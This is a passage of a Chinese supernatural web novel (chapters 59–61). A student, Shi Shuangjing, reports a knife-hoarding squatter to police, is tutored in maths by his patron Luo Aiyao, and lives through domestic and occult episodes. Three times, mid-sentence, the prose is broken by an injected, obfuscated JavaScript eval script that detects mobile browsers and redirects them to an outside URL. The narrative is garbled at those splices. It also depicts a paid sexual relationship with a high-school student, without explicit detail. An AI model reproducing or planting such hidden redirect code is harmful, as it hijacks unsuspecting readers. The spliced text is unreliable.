他记得那人往废弃的舞蹈教室方向走去,容不得施霜景多犹豫,握紧普巴金刚杵,多走几步,重新跟上。 施霜景目视着男人撬开舞蹈教室的侧门,进入舞蹈教室。跟到这里,施霜景默默记住地点,不打算久留,他可以在做好准备之后再来,施霜景估计男人就是暂住在这舞蹈教室里了。他们这些在励光厂高中就读的学生,总能看见流浪汉借住废弃的体育俱乐部,尤其冬天。 甫一打算转身离开,某种异样的呻吟声便从舞蹈教室里传出,光听声音就知道此人正经历着极度的痛苦。铁门后上了插销,表示教室里的人反锁了门。施霜景万般纠结,此时应该与好奇心作对,明知危险就不要往前去,但折磨的声音更甚了,跟小时候施霜景听过隔壁家偷看的劣质港产恐怖片里的声音一样,“不要”,“不要”,“求求你”,“放过我”。或许就是在看劣质港片呢?但这声音中有很真实的成分,那么光秃,没有附和或回应,没有其他多余的电影音效。音量不小,但励光厂的人还是太少了,冬天午休时分所有人都缩在屋里吹空调,没人回来公园里探冷风。 施霜景思来想去,决定报警。 幸好警察在大白天效率还算不错,施霜景在报警电话里说:“小公园,就是以前是体育俱乐部的那个小公园……小公园的舞蹈教室,好像有人住在里面,还发出很奇怪的声音。”奇怪的声音,是什么样的声音?“好像有人受伤了。”受伤?“我看到有人进去,还把门反锁,我不知道里面到底发生了什么。”接线员这才表示,他们会马上出警。 警察在旧俱乐部舞蹈教室里发现一名流浪汉,这没什么大不了。但他们从流浪汉的随身行李里找到很多锐器,各式各样的刀,长的短的便宜的昂贵的,流浪汉说这些刀不是他的,警察不信,因为他们还从舞蹈教室的角落里翻出流浪汉藏起的包裹,里面有各式各样的身份证件,流浪汉倒是没有犯伪造证件的罪,证件上明明白白写了其他人的姓名住址,印了其他人的头像,警察回局里一录入,惊讶地发现这些证件的主人竟然都是失踪者。这下他们不得不调查流浪汉了。 因为施霜景前几日才因持刀入室的案子去过励光厂警察局,局里的警察还认得他,就问施霜景是不是被流浪汉骚扰了。施霜景老实交代,说他曾经见过这人来他家踩点。警察拍拍施霜景的肩膀,问他需不需要警察局向社区提出要求在楼里装摄像头。施霜景仔细想了想,楼里住了两条龙、一个佛子、一个郎放,还是不要装摄像头了吧,万一拍到些不该拍的,岂不是没办法解释了,施霜景就以“不要浪费钱”为理由拒绝了,表示只要警察们好好调查清楚为什么这些人会来他家踩点就行。 短短一周,施霜景跑了至少四五回警察局。琪琪爸已经进了看守所,幸好励光厂是航天厂,从前算得上是这一片里很热闹的地方,警察局修了一间小看守所,男女各一间,不用把犯人关到别处去。 这回施霜景好歹捞着一个名字。那个人模狗样就是有点没精气神的年轻男人名叫庄晓。他比琪琪爸好些,记得自己的名字,但麻烦的是,庄晓似乎是个黑户。根据庄晓报的地址,倒问回辖区,根本没有这号人,就连姓庄的人都没有。讲到这里,警察叹息,想起庄晓那双骨节分明的大手,庄晓将脸深深埋进去,似叹也似哭,但很快他又放下双手,脸上干干净净的,表情也干干净净的。警察说庄晓看起来不像个流浪汉,舞蹈教室里的东西很可能也不是他的,警察局现在考虑查指纹。 总而言之,庄晓是要被送进看守所的了,这样也就不会有人再去蹲施霜景家的点了。 罗爱曜听了施霜景的告状,愉快地审一审看守所里的那位所谓的琪琪的父亲。无形的大手按着琪琪爸的脑袋进便池,看他记忆的走马灯,可看着看着竟觉得污糟起来。 他才从地铁站的异质空间里回来,杀了不知道多少这些奇形怪状的猎鼠,可回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473345|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家看了不速之客的记忆,发现这种异质感再次出现。黏腻的,覆盖的,不顾一切的,比疯狂更张扬,比理智更紧密。这个男人在信仰一种致命的东西,有着散漫的表象和目标明确的内在。 这种探查被人打断。罗爱曜没有执着地继续看了,他兴趣顿失。手上的月考卷子也很致命,而且罗爱曜还知道屋外的施霜景心不在焉。 时间一到,罗爱曜走出办公室,要给施霜景讲题。施霜景绝望地交上只写了几道题的数学卷,罗爱曜眼睛一扫,冷冰冰道:“全错。” 施霜景知道这就是自己的水平,但他真的认真算了。罗爱曜要看他的草稿纸,施霜景交上去,罗爱曜扫了一眼就揉成团扔回来,反问他:“你今年几岁?乱涂乱画是草稿吗?” 啊?可是,这是草稿啊?施霜景将纸团又展平,“我没有乱涂乱画,这就是草稿。” “你为什么在这里解方程?” “……我不会做。解不出来。” “施霜景,不等式不需要你硬解方程。这道求ab的最大值的题目和教科书这一章的例题几乎一模一样,只是数值不同。”罗爱曜说,“但最大的问题不是你不会做,是你放着例题在旁边也不会根据题目按图索骥。” 施霜景难以置信地盯着罗爱曜。这难道是什么很简单的事吗?什么例题在旁边……这道题跟例题有关吗?书上是有很多有a有b的例题没错,可到底是哪道题和这道题长得像?为什么罗爱曜的语气这么理所当然? 罗爱曜捋平自己心里的火气,坐下来,教施霜景怎么对应例题和他找的真题。这一道是书上这一页,那一道是书上那一页。我再给你五十分钟,能做几道是几道。 五十分钟后,罗爱曜看卷子,施霜景特别紧张,攥着手心,等来罗爱曜一句:“对了两道。” “YES!”施霜景捏拳。 罗爱曜的下一句是:“五十分钟你只做了六道题。这种难度的题目在高考卷上只能在选择题的前三题,每道题花费的时间不超过一分钟。” “……”你不是唐朝人吗,你为什么对考试这么了解啊。施霜景在心里默默晕倒。 但!是!施霜景做对了两道高考题!还能有比这更高兴的吗?施霜景自从上了高中以后就几乎没有真的靠做对题目而拿到数学卷的分数了,而且施霜景好像确实觉得这题目……他有一点点明白了。原来数学也能开卷考试? 施霜景盲目乐观,动力十足,甚至把这两道做对的题剪下来,准备放进自己的“对题本”里。 罗爱曜看施霜景这么乐呵,这一天没少给施霜景泼冷水。他是不懂为什么施霜景能这么开心。施霜景晚上洗澡的时候甚至唱歌了,要知道罗爱曜来了之后施霜景可就没有再在浴室里当过歌王。 “佛子,我真的有希望上大学吧。” 床上,施霜景第一次在聊“上大学”这个话题时用肯定句。罗爱曜看见自己在施霜景漆黑瞳仁里的倒影,施霜景也是第一次主动把脸凑得那么近。 59.旧日幸存者篇(十一) “你还需要努力。”罗爱曜熟练地泼施霜景冷水。认识施霜景这么多天了,给他打钱都没见他如此快乐,今天不过是对了几道题,错的还更多呢,一做一个错,对的那几道题估计转换一下提问方式就又会难倒施霜景。 “我肯定会努力的,你放心,佛子。”施霜景再次握拳,说完就侧身倒在床上,捧着手机看练歌房群聊。 好舒服的大床,好满意的生活。施霜景自打有钱了之后,才重新“想起”其实他所居住的这间房有空调,以前不论冬天多冷、夏天多热都不会开,连遥控器都找不到了,好在楼上楼下的空调都是一个牌子,用楼上自习室的空调遥控器也能开楼下这间屋子的空调。想吹空调就吹空调,想吃火锅也可以去附近的店吃到饱。现在就连学习也很有起色。太幸福了。 反正不管佛子消失这些天去做了什么,他还是会回家,还是会关心施霜景的学习。这就够了。施霜景还能奢求什么呢?罗爱曜这不就是来给他实现愿望了么? “在聊什么?”罗爱曜忽然贴近,眼神越过施霜景的肩头,看他手机屏幕。 “就……随便聊聊。我们练歌房的事情。” “有什么事?” “王哥的小孩在学校被人欺负了,他和老婆吵架,他老婆让他去学校一趟,王哥觉得没必要去。王哥是厨师,现在厨师上班也没有清闲的时候。” 反正就是这种鸡毛蒜皮、鸡飞狗跳的家常事。这年头不论线上还是线下的缘分都浅,大家说出的话、倾诉的生活都各有不同,却都是相似地搁置,不期望谁认真地听,真当回事,不过是找个地方说出来。施霜景算沉默的那类人,很少往外说自己的情况。孤儿,没钱,除了唱点小歌就没爱好,每天就是吃了睡,总的来说是个特别无趣的人。这是施霜景给自己的评价。 施霜景和人聊天的界面没什么不能看的,罗爱曜想看就看了,反正罗爱曜还会读心的,在他眼里人类都没有秘密。 其实,其实今晚施霜景以为罗爱曜会做点什么。 施霜景十点从自习室收工回家,罗爱曜已经洗好澡了,施霜景简单地收拾一下冰箱和厨房,进浴室洗澡也就十分钟,两人在大床上躺平的此时此刻也才不过十点三刻。罗爱曜至少一周会想要一次,距离上一次做至少有十天了,昨天是罗爱曜想休息,那今天呢?这样想着,施霜景自己都在反思,他是有点期待吗?还是把这当做拿包养费的惯例呢?毕竟罗爱曜做得爽了就会给他钱,十万十万地给。 那天晚上,励光厂下了今年第一场雪。雪粒细细的,小小的,撒盐空中,都挡在了卧室的遮光窗帘外。施霜景玩着手机睡着,罗爱曜的手就总是被施霜景这块磁铁吸走,手摸着施霜景的大腿,两人经常紧贴了睡觉,前胸贴后背,将施霜景的身体按在罗爱曜的身体上,这画面总是很温存,像所有佛经典故里都不会提及的悉达多与耶输陀罗共度的那些夜,不是不光彩,只是阻挠通往伟大目标。 刘茜说,她回去找了励光厂福利院的资料,他们福利院的规模小,根据琪琪爸的笔录,某年应该有个在地铁站捡到的婴儿送来福利院,可能还有先天的身体疾病。刘茜真的找到了貌似是琪琪的小孩资料,可惜那小女孩已经去世了。 罗爱曜能看破人间因缘,看过那材料之后,他就确认这小女孩确实是男人的孩子。琪琪在资料里登记的名字叫“文文”。施霜景沉默。就连他都记得这个叫文文的小女孩。施霜景是励光厂福利院的元老,眼见着福利院建起来的。文文是个没来得及长大就走了的小豆丁,好像是心脏不好,人长得瘦瘦小小的,在施霜景读初中那年去世,她当时大概是刚上小学的年纪。 看见刘茜找出来的文文照片,施霜景才切切实实回忆起她。刘茜翻着相册说:“现在大家都用手机、电脑……我们拍的照片也不会冲洗太多,每个小孩就两三张……U盘里还有文文其他的照片。唉,当时她的骨灰还是我去接的。她爸爸怎么现在才来?” 福利院里多的是父母迟来或者再也不来的孩子,等不到的养父母,等不来的亲生父母。像施霜景这样父母都死了的人好歹还能自我安慰,爸爸妈妈不是故意不要他,是因为没办法。施霜景想到了父母,没在听刘茜和罗爱曜说什么,可能说的也不多吧,本来就是施霜景执意要拉着罗爱曜来福利院一趟。 回家的时候,施霜景破天荒地拐到水果摊,去买了一整个西瓜。冬天的西瓜很贵,不如夏天的西瓜甜,但总是有人想吃这么一口。施霜景回家将西瓜对半切开,用保鲜膜包好一半,剩下一半就放在餐桌上,他拿着两把勺出来,“来吃西瓜。” 第一勺挖西瓜芯,施霜景自私地喂给自己。冰凉,甜蜜,和记忆里的一样。再往下的第二勺就得留给罗爱曜了,施霜景垂目说道:“我爸生病之前,他经常买西瓜哄我。我在进福利院之后才知道,原来西瓜是要切着吃的。我家从来都是用勺子挖,我爸不乐意切西瓜。用勺子吃西瓜会感觉这一整个西瓜都是我的,没人和我抢。在福利院就不行,因为每个小朋友都要吃到,挖来挖去吃不干净会浪费,还会很脏。我只有在夏天才会买西瓜这么吃,但今年西瓜好贵,夏天的时候就贵。你挖一勺试试,西瓜芯最甜,还没有籽。” 罗爱曜用挖了一勺,送进口中,甜到发腻了,还水汪汪的。罗爱曜觉得这样的甜实在很工业,但施霜景的勺子加入,你一勺,我一勺,往下挖着红肉,光看施霜景的表情就能猜到,说不定他和他爸爸以前也是这样吃西瓜,争着挖到底,还要分着喝最后那口西瓜汤。 如此情况下,罗爱曜难得耐心,还是将那九天的地铁事故掏了出来,说给施霜景听。这九天其实只干了一件事,就是找到那块残碑。罗爱曜放在升仙湖的梵钟再也没有响过,那沙漏装置也再没有出现过。明明花了九天,但得到的线索不足。 罗爱曜却也没有兴趣再去追查。 不论是异鬼异神、异宗异教,都没有主动找上门去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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牛油压在炙热烤盘上,滋啦油声淹没蒋良霖的声音。施霜景还在厨房拿杯子,郎放率先站起来给烤盘上油——没办法,小姑娘太饿了。蒋良霖无奈地抬头看郎放,郎放耸肩。 待热油声音降下去之后,罗爱曜才回道:“旧经我都已经读得差不多了,没读的那些是命里不需要读。你或者鼓龙还没有成为阿耨达龙王,以前那些经藏大概就是巧合。” “吃烤肉。你要给我和郎放上强度也等吃完烤肉再说。”蒋良霖也大方,他和佛子跟回合制游戏似的,你一招,我一招,现在佛子先进地铁站干了九天,尽管蒋良霖还没听佛子叙述当时的经过,但他知道,确实轮到自己干活了,欠佛子太多恐怕也不是件好事。 正当众人准备开餐时,罗爱曜脑中扯过一道牵引般的怪异感。 他回头环视客厅,最终眼神落在了空中的一处。 罗爱曜刚住进来就发现了,施霜景家有一个好似自然形成的“风洞”,有“风洞”的地方会莫名其妙出现些东西,与地球的某种高维空间特性有关。但刚才他察觉到风洞处有什么东西一闪而过,很奇怪。 60.旧日幸存者篇(十二) 这样的奇怪是最微末的奇怪,是几乎不会撩拨任何人神经的奇怪,只有罗爱曜才能感觉到。一片片烤肉贴上烤盘,施霜景将洗好的生菜叶分成两份,一半给自己和罗爱曜,另一半给郎放一家。罗爱曜转过头来,竟也没人问他刚才为什么回头。 这是施霜景第一次在家里搞烤肉趴,就连烤肉的准备都是上网现搜的。D市人正经吃的烤肉都是街边肉串,这种平底烤盘的做法不多。 郎放话少,施霜景话少,罗爱曜懒得说话,桌上一时间只有蒋良霖和蒋念琅父女小嘴叭叭个不停,蒋良霖挑起话头,问罗爱曜是真的打算全靠自己就带飞高三学生上大学吗,罗爱曜才说,他找了家教来查漏补缺,原本上个周末就该来的,可惜罗爱曜自己不方便通讯。两人聊了一阵教人的事,罗爱曜找到这夫夫俩的软处,问为什么蒋念琅不去读小学,这下蒋良霖支吾不答,多吃了几块烤肉,郎放欲说话,蒋良霖才微微摇头抢过声音,说蒋念琅在学校过得不开心,说罗爱曜无法想象H市小学的孩子和老师,一些人对他们家的情况见怪不怪,一些人则是太大惊小怪。总而言之,言而总之,蒋念琅才读一年级不到两个月就决定不读了,大概要换地方。 生菜脆脆的,蒋念琅嘴里嚼着生菜包烤肉,知道大人们在讲她的事,她不恼,她插话:“妈妈来接我,我喊妈妈,但老师说我不能喊我妈妈,应该喊爸爸。妈妈就是妈妈啊,我是妈妈生的,妈妈也跟老师说我是妈妈生的,第二天全班都知道了。” 大人们不愿意说破的处境,小孩子稀里糊涂全说了。郎放给蒋念琅倒苹果汁,低声教育她,让她不要再提。蒋念琅还很委屈的样子,还打算继续说,看样子应该是在学校受了挺多委屈。罗爱曜知道人间这些学校的弯弯绕绕,什么公立私立,好校坏校,此处那处,底色都相同。现在的学校又强烈地邀请家长参与进教育里,或者换个说法,说是相互推卸责任也合理,彼此都有怨,嫌自己做得多而对方做得少。熬人的甚至不是教育的事。罗爱曜说,家庭教育也行,看来你也得做家教。这是对蒋良霖说。 吃完烤肉,蒋良霖说他来收拾,蒋念琅还想和施霜景玩《舞力全开》,希望郎放带他俩去楼上,就当可怜可怜这个没学上的小女孩,陪她再玩玩。施霜景默默用身体挡住蒋良霖,不让他动手,结果一只手伸过来,罗爱曜拉住施霜景的手臂,将他交给郎放,让他去楼上。 房子里空寂下来,只剩罗爱曜和蒋良霖。 “其实蒋家地宫应该可以做概念上的鸠尸那竭藏经地,小鼓做龙王护法*正好可以为你提供这样的资源。”蒋良霖摞好盘子,与罗爱曜对站在餐桌两侧,“刚才我没有当着小景的面提这件事——你最后还是要走,你的经藏卷轶会因为找小鼓做护法而留在地宫,那你有什么东西要留给小景吗?” “小景只是与我有缘,但与佛法无缘,这些东西留给他没什么用处。”罗爱曜道。 “我可以替你保管。” “你多管闲事,郎放也多管闲事,这是你家的家风,我不多作评价。”罗爱曜心情不甚美丽,更多还是对自己烦躁——看到沙漏装置,追出去,消失整整九天——这真的没面子。“就谈龙王护法的事,鼓龙经过仪式之后就可以成为护法,我不论上不上无色天都可以给她提供便利,你们什么时候有空?” “你没说清楚鼓龙会受什么不良影响。她的日子还有很长很长,如果她以后都要受制于你,这买卖怎么看都不划算。” “不会,我可以只作一场暂时的仪式,‘借’鼓龙来作护法。她和鬼子母神是两码事。” “我还要再观察一阵。我把所有出差和生意都延后了,在这里多留一个月,离开的时候我会把郎放和小鼓带走,就算小鼓当你的护法也不能长留在这里。”蒋良霖严肃道,“我和郎放尊重你,但不怕你。某种意义上来说,我老婆和你的渊源更深,沃燋石与金刚轮,你们二者不可相犯,我们最好还是和平相处,能合作就更好了。” 听到这里,罗爱曜眼底难免泛起嘲讽之意,“看来你也知道你是靠郎放才能和我谈合作。郎放也不客气,仗着自己是沃燋石化身,几次阻挠我。要不是你家小龙是条好龙,你们现在已经回地狱了。我杀生极其顺手。” 蒋良霖将碗盘收进厨房水池,再回餐桌收杯筷,他脸上也挂着似有若无的笑意,明说了:“你能杀生是本事,好好杀。谢谢佛子啊。” 两人打机锋,但到头来蒋良霖最开始捏住罗爱曜的是最初的那个问题——你有什么东西要留给小景吗?或者说是更倒退往回的问题——你还是要走吗? 说得像是应该考虑这人类的处境那样。还能有什么处境?罗爱曜看施霜景巴不得自己赶紧走,最好是施霜景顺利读上大学,罗爱曜再给他一笔保证后半辈子的钱,积些福气保证他平安走到百年,就这样了,多的施霜景根本不乐意要。 那蒋良霖干嘛问这个问题?还特意支走施霜景问。罗爱曜更觉心底烦躁,仿佛能看见十年后施霜景衣食无忧,过上属于施霜景的人生,大概会和某个人在一起,男人可以女人也可以,花着罗爱曜留给他的钱,享着罗爱曜留给他的福,比现在爱笑,比现在多话,只是在路过寺庙时会偶尔想起罗爱曜,敬一支香,磕三个头,感叹远远的保佑比近处的保佑好,好太多了。施霜景肯定会这么想、这么做。 琪琪爸大抵是犯了入户盗窃的罪,虽然一切都还在走流程,但拘役恐怕在所难免。幸好当时家中无人,如果当时琪琪爸一个冲动,对可能在家的施霜景实施暴力,那这罪最轻都是个入室抢劫了。跟他同一看守所的庄晓虽然很没精气神,但他是琪琪爸在看守所里唯一能说得上话的人。庄晓是个好人。 依琪琪爸的精神状态,够呛能上法庭,他自己也很清楚这一点,所以他接受了法律援助。法律援助律师第一次见琪琪爸的时候,就替励光厂福利院传达了他女儿琪琪的情况。 琪琪,也就是文文,六岁零四个月时因左心发育不全综合征导致的心力衰竭而过世。律师拿了一沓照片给琪琪爸看,刘茜很喜欢给福利院的孩子拍照,挑了三十张文文的照片洗出来,从小到大的都有,刚会走路的,扎小辫的,过生日的,吃饭的,春游的。琪琪爸哭得不成人形,烂泥一样糊在座位上不肯动,求看守所让他留下这些照片。看守所将照片全部检查了一遍,说只能让他留五张,于是琪琪爸按照琪琪的年龄各留了一张,当宝贝一样拿回看守所里。 “我理解你。你离开她的时候她还这么小。”庄晓安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480735|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰琪琪爸,或者喊他文文爸也行,至此男人主动地失去了他的名字,任何名字都没有意义了,这世界上没有任何一个人等他,甚至没有任何一个人还记得他。 琪琪爸蜷缩在大通铺上,很少见一个男人哭成这样,双眼又红又肿,晚饭也没好好吃。他将五张照片摊开放在床铺旁,庄晓想拿起来看,琪琪爸大叫着制止,房间里没有人敢惹琪琪爸。 深夜,庄晓躺在仍未入眠的琪琪爸身边,轻声说:“我知道,你是从‘那里’出来的,是不是?那个杰出与光辉的、远星投影的旧城……” 琪琪爸肿凸的眼珠忽然转动,死死地盯住庄晓。 “我不知道你为什么要去那栋楼,去上门、找人。这么做只会让你死得更快。”庄晓微微摇头,“琪琪的事我很抱歉,琪琪的事证明了,它并不神通广……” “你是谁?” 这三个字语速极快,琪琪爸的语气突然变得极其神经质。人的眼球能这么快就布满红血丝吗?琪琪爸死盯着庄晓,一洗颓废模样。 “我谁也不是。但我追踪你所谓的‘主’很多年了。很多、很多、很多年了……”庄晓翻身,仰面躺着,双手交叠放在腹上,作老实睡姿,声音像是一缕荒野之风,“我还知道,‘主’才降临过,带来了你们。你是不是觉得你得到了‘主’的宽恕,所以他才让你从旧城出来?” 琪琪爸不响,只有呼吸声逐渐沉重。 “你还在听吗?” “你是谁?”琪琪爸重复,“你是谁?” 庄晓闭上眼睛,“我谁也不是。我知道那些一起离开旧城的人都已经不在了。你很幸运,这个小厂好像有着非同一般的……能叫‘风水’吗?‘主’找不到你们。” “‘主’找不到我们?” “你想回到‘主’的身边吗?” “……” “会死的。” 施霜景发现,佛子从地铁回来的这两周好像心情都不大好的样子。 容易生气,容易说难听的话,教施霜景做题越来越不耐烦,甚至还骂人了,“我去教只鸟都比你会背英语单词”,挑剔施霜景做的饭,有时心不在焉。这些负面消极状态大概占了罗爱曜日常表达的百分之三十。不多,但很突兀。施霜景有时被激得很想跟他吵架,好几次回嘴的话都酝酿好了含在嘴里,只剩一次祖安的冲动。 算上罗爱曜去地铁站的九天,九天之前还有准备月考的好几天,他们有四个星期没做过爱。这是罗爱曜的角色分离吗?金主、家教和闪光光的佛子身份,三个角色,哪一个都和施霜景不平等。会做的题开始变多,但睡同一张床的感觉越发不踏实。 “我睡气垫床。”施霜景手里抱着从郎放家借来的气垫床,“啪”地扔在地上,一点不犹豫,插电,充气。 “为什么?”罗爱曜不解。 “你在床上捏我,在床下骂我,很怪。”施霜景说,“我就当你的学生好了。”这样听你骂我还不会太难过,施霜景想。他有丰富的被老师骂的经验,但没有被骂完还要当抱枕的经验。不仅很怪,还很烦。 *:一切经藏皆悉流移至鸠尸那竭国。阿耨达龙王悉持入海。于是佛法而灭尽也。 ——《摩诃摩耶经》 61.旧日幸存者篇(十三) 什么叫“我就当你的学生好了”——在罗爱曜看来,施霜景根本算不得他的学生。佛子不收这么愚笨的学生。什么叫“在床上捏我,在床下骂我”——罗爱曜有骂他吗?罗爱曜说的分明都是实话。罗爱曜从不辱骂人,秽语会脏了他的修行。罗爱曜就是能教鸟说英语,教猴子算方程啊,他还能教猫打麻将、教狗学语文呢。所以呢?施霜景是个笨蛋没错,罗爱曜不也没放弃他么。 气垫床三分钟内就充好气,看起来硬邦邦。施霜景去卧室搬被子,柜子里还有一床单人被,正好用来睡这张单人气垫床。 罗爱曜忽然踢了气垫床一脚,将气垫床踢歪了,竟然也没有漏气或是怎么的,非常结实。施霜景抱着枕头被子回来发现罗爱曜试图朝气垫床泄愤,施霜景更加郁闷,“你在干嘛?佛子,你干嘛非要和我睡一张床?” “我睡眠不好。” “睡眠不好才要一个人睡。”施霜景铺床,语重心长,“你比刚来的时候脾气差,是没睡好的缘故吗?还在想地铁的事?” 倒反天罡。简直是倒反天罡。施霜景什么时候学会了这种语气,反倒是教育起罗爱曜来了。罗爱曜脑中一团乱麻,但很快就整理出来思绪,“你想让我少骂你几句,所以用这种方式来表达你的态度?威胁?” “……你到底在说什么。我就是不能接受和老师睡同一张床!”施霜景抓狂,“我现在做梦都会梦见写不出题目,你在旁边监考,我一抬头就看到你的眼睛,越看就越写不出来。我才是睡眠不好!” “不就是想要个清梦?我可以实现。” 罗爱曜破天荒地主动去捡施霜景的枕头,玉米也出来观战了,罗爱曜眼神示意玉米去气垫床上走一走、跳一跳,玉米睁着智慧的圆眼睛立在一旁,岿然不动。施霜景见势不对,上手抢枕头,提高声量道:“佛子!放手!你是小孩吗!一个人不能睡?!” “抱着你睡手感好。” 这七个字吐出来,施霜景双手忽然放开枕头,后退两步。他猜过这个可能性,但他没想到罗爱曜能说出口。 很明显罗爱曜也觉得不自在,说完就错开了眼神,拎着枕头的两个角,这时玉米走上来了,闻了闻气垫床,又用鼻子顶了顶床边,它不喜欢气垫床的工业味道,转身离开,特别没骨气地蹭了蹭罗爱曜的腿。 罗爱曜一把将玉米抄进怀里,对施霜景说:“别逼我拿玉米当猫质。”偏生玉米还一点不挣扎的,转个身往罗爱曜怀里钻,对施霜景亮出肥肥猫屁股。 罗爱曜哪里是“抱着他睡”?施霜景看他根本就是每晚都在X骚扰自己。罗爱曜到处摸,有时候摸肚子、摸腰,偶尔早上起来会发现罗爱曜的手放在施霜景的胸上,放屁股或是大腿上也是经常的。但真要正经地做一做,罗爱曜最近好像提不起兴趣。这绝不是施霜景缺钱了或是怎么的。 或许他就是想听罗爱曜承认他们之间还有一种□□和金钱交易的关系,而不是陪罗爱曜扮家家酒。再这么糊涂下去,施霜景的警惕心就要荡然无存了。罗爱曜不是施霜景的家人,也不能陪施霜景走多远。太过适应、身份不清就意味着得意忘形。得意忘形的孩子必然会跌得很惨。 “佛子,我不想造你的谣,就不乱猜了。你最近为什么不和我上床?” 玉米“咚”的一声,从罗爱曜怀里跳落地面。两双拖鞋,一前一后,客厅的灯还亮着,枕头掉落在地。 “我这个人很直接,我知道。”施霜景说。 直接没什么不好。罗爱曜没说这句,反而是说:“我心情不佳,同你做也不会让我心情变好。” 或许施霜景观察得确实到位,罗爱曜最近脾气很糟,完全是没来由的,把这样糟糕的脾气发泄在床上会让他心情更糟。性起而不可起贪嗔痴念。最近罗爱曜觉得他受一些不可见之物所感染,罗爱曜素来非常擅长觉察,他担心自己所做所欲的东西发端不正,就干脆断了最直接的X欲。 “我就是想和你聊聊为什么你心情不好。”施霜景抚了抚后颈,无可奈何道,“你心情不好,教我的时候就态度不好,我老担心被你骂,也学不好。我以为上床会让你心情好点呢。” 真是个自以为是的小孩。“你想说你要帮我?” “对,毕竟你也帮我了啊。我得讲义气。” 罗爱曜想起来了,施霜景是这样的人,根本不需要他帮,他还自以为是地觉得自己有必要挺身而出。他以为所有问题都对应着一个答案,而且只要乱填一个答案就行,就跟他自己的做题习惯一样。罗爱曜将施霜景推回床上,去脱他的裤子。义气,谁会因为义气跟人上床?义气的语境是兄弟。这就是罗爱曜最近异常情绪的症结——思想胡乱发散,心很难清净。很显然他最近更容易转念想到更细枝末节之处,失掉了那种俯视的角度。 深夜,施霜景在大床上睡得死沉,罗爱曜从一侧下床,回到客厅。 在客厅的空中一角,罗爱曜用手指大概测量了这一风洞的直径。他晚上和施霜景做的时候,他再一次感觉到有什么东西从风洞中一闪而过。他不是已经施法封住了吗?为什么里面还能有东西穿行?自从罗爱曜从地铁站回来,他就对这些穿梭自如的东西顿生警惕。 “玉米,去卧室和你的主人一起睡。” 罗爱曜轻踢气垫床,惊醒那盘在气垫床上睡觉的小猫。玉米听得懂人话吗?橘猫真的撑了撑前爪,跳下床进屋去了。大概也许真的听得懂一点吧。玉米在猫里算聪明的。 罗爱曜刚到施霜景家时就发现这里有一处风洞。顾名思义,这里有风穿过。有时人类世界里总会有这样的未知孔隙,不过一只眼睛大小,小孩的贴纸会因为掉进风洞而再也找不见,夜里无法入眠的人听见风洞里的呼啸以为是鬼上门,老人每天打扫房屋却还是会扫到不属于此地此处的灰尘。 这样的风洞,封上即可。罗爱曜之前结法印堵住此眼,就是彻彻底底封死了,不像是只用一块布蒙住洞口,而是倒灌进去全填实了。 如今罗爱曜重新探查这风洞,发现他结的法印纹丝不动,丝毫没有被破坏的迹象。那这种“有东西在动”的感觉到底从何而来? 这大半夜的,在这刚做完爱的贤者时间,罗爱曜觉得这风洞尤其让人难以忍受,很有种被人偷窥的感觉,感觉里面滴溜溜转的是眼睛。谁的眼睛?撤销法印,神识追踪进去,这种钻隧道的形式……又像是在地铁站了。罗爱曜的怒火姗姗来迟。 他早就觉得励光厂这一地界有问题,在罗爱曜抵达励光厂之前就已经很有问题了,很难分清个时间的前后,不知是碰了巧还是故意全作堆。励光厂的选址本就有讲究,人们总说的“风水宝地”,这种特殊地区数量不少,某一特殊场域的业力流转速度加快也不是孤例,只是可能百年或是几百年才轮上一回。加快,这没什么大不了。那施霜景是怎么回事?郎放和蒋良霖说的“沙漏装置”又是什么东西?罗爱曜一看见沙漏装置就感受到的法则具体是什么样的?那么多巧合吗?罗爱曜又不傻。 神识探进风洞里,半晌没有找见出口,其幽深,仿佛是在空气里扎了无数看不见的根系。罗爱曜没耐心了,再次祭出法器,心里非常哀怨地冒出一个比喻,感觉自己在清理下水道。 罗爱曜可使用各般地狱法器,比如当初惩戒吕宏图,具现了刀轮地狱,专治杀生的罪人。那些小混混则入铜柱地狱,治犯淫邪行的罪人。对地铁之鼠,罗爱曜知道其规模众多,就选了他同样是规模众多的莲花法器,一百零八是吉祥数,象征消忧解难,优钵罗是青莲花,钵特摩是红莲花,分陀利是白莲花。优钵罗造出极寒,钵特摩加持割裂的效果,分陀利行超度,一气呵成。罗爱曜今天如法炮制,若一百零八枚不够,可九百九十九枚,甚至多如天星。绞碎,统统绞碎。 按罗爱曜的效率,不到天亮就会有个结果。然而罗爱曜硬生生等到了天亮,他的莲花众竟然还在工作。 